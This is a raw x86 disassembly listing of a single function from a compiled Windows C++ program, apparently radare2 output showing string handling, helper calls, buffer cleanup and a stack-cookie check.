push 0x578afc
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x1ec], 0
call fcn.00409ab0
push esi
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 4], 0x5c
call fcn.00409940
sub esp, 0x18
mov dword [ebp - 4], 0x5d
mov eax, edi
mov ecx, esp
or eax, 0x60
mov edx, esi
mov dword [ebp - 0x44], eax
push str.....
call fcn.00409c80
add esp, 4
lea ecx, [ebp - 0x18c]
call fcn.004d3d90
add esp, 0x18
push eax
push str._n____n
mov ecx, edi
mov dword [ebp - 4], 0x5e
or ecx, 0xe0
sub esp, 0x18
mov dword [ebp - 0x44], ecx
mov edx, esi
mov ecx, esp
push str.......
call fcn.00409c80
add esp, 4
lea ecx, [ebp - 0x98]
call fcn.004d3d90
add esp, 0x18
mov ecx, edi
mov dword [ebp - 4], 0x5f
or ecx, 0x1e0
mov edx, eax
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x45c]
call fcn.00425720
add esp, 4
mov ecx, edi
mov dword [ebp - 4], 0x60
or ecx, 0x3e0
mov edx, eax
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x474]
call fcn.00409da0
add esp, 4
mov esi, eax
mov dword [ebp - 4], 0x61
mov ecx, edi
or ecx, 0x7e0
mov dword [ebp - 0x1ac], 0
push 4
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1bc]
push str.dirs
mov dword [ebp - 0x1a8], 0xf
mov byte [ebp - 0x1bc], 0
call fcn.00409ab0
mov dword [ebp - 0x194], 0
lea ecx, [ebp - 0x474]
mov dword [ebp - 0x190], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x1a4], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x194], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
call fcn.00409830
lea ecx, [ebp - 0x45c]
call fcn.00409830
lea ecx, [ebp - 0x98]
call fcn.00409830
and edi, 0xfffff87f
lea ecx, [ebp - 0x18c]
or edi, 0x860
call fcn.00409830
sub esp, 8
mov dword [ebp - 4], 0x62
lea eax, [ebp - 0x18c]
mov ecx, esp
lea edx, [ebp - 0x24c]
or edi, 0x1000
mov dword [ebp - 0x44], edi
push eax
push edx
call fcn.00419d30
mov ecx, dword [ebp - 0x9c]
push 0x28
mov ecx, dword [ecx + 0x5c]
call fcn.0044d0b0
push fcn.0040e2f0
push 4
push 0x30
lea eax, [ebp - 0x24c]
mov dword [ebp - 4], 0x57
push eax
call fcn.0051510b
mov esi, 0xfffffc16
jmp 0x4dbf0f
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
push eax
call fcn.00409940
call fcn.0040cae0
add esp, 0x18
test al, al
jne 0x4dbdee
mov esi, 0xfffffc17
jmp 0x4dbf0f
lea ecx, [edi + 0x20c]
lea eax, [ebp - 0x40]
cmp ecx, eax
je 0x4dbe0c
cmp dword [ebp - 0x2c], 0x10
push dword [ebp - 0x30]
cmovae eax, dword [ebp - 0x40]
push eax
call fcn.00409ab0
push 7
push 0x578b18
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1d8], 0xf
mov byte [ebp - 0x1ec], 0
call fcn.00409ab0
lea eax, [edi + 0x1ac]
mov byte [ebp - 4], 0x63
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00409940
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x1bc]
mov eax, dword [ebp - 0x4c]
or eax, 0x2000
mov dword [ebp - 0x1ac], 0
push 4
push 0x578b2c
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x1a8], 0xf
mov byte [ebp - 0x1bc], 0
call fcn.00409ab0
push esi
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 4], 0x65
call fcn.00409940
mov dword [ebp - 4], 0x66
lea edx, [ebp - 0x1ec]
mov eax, dword [ebp - 0x4c]
sub esp, 8
or eax, 0xc000
mov ecx, esp
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x18c]
push eax
push edx
call fcn.00419d30
mov ecx, dword [edi + 0x5c]
push 0xd
call fcn.0044d0b0
push fcn.0040e2f0
push 2
push 0x30
lea eax, [ebp - 0x1ec]
mov dword [ebp - 4], 0x57
push eax
call fcn.0051510b
mov eax, dword [edi]
mov esi, dword [eax + 0x28]
mov ecx, esi
call dword [0x55d39c]
mov ecx, edi
call esi
mov esi, eax
test esi, esi
jne 0x4dbf0f
mov byte [edi + 0xfc], 1
mov edx, dword [ebp - 0x2c]
cmp edx, 0x10
jb 0x4dbf43
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dbf39
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc032
push edx
push ecx
call fcn.005150f8
add esp, 8
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp edx, 0x10
jb 0x4dbf89
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dbf7f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc037
push edx
push ecx
call fcn.005150f8
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00514e1d
mov esp, ebp
pop ebp
ret
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
call fcn.00519e03
int3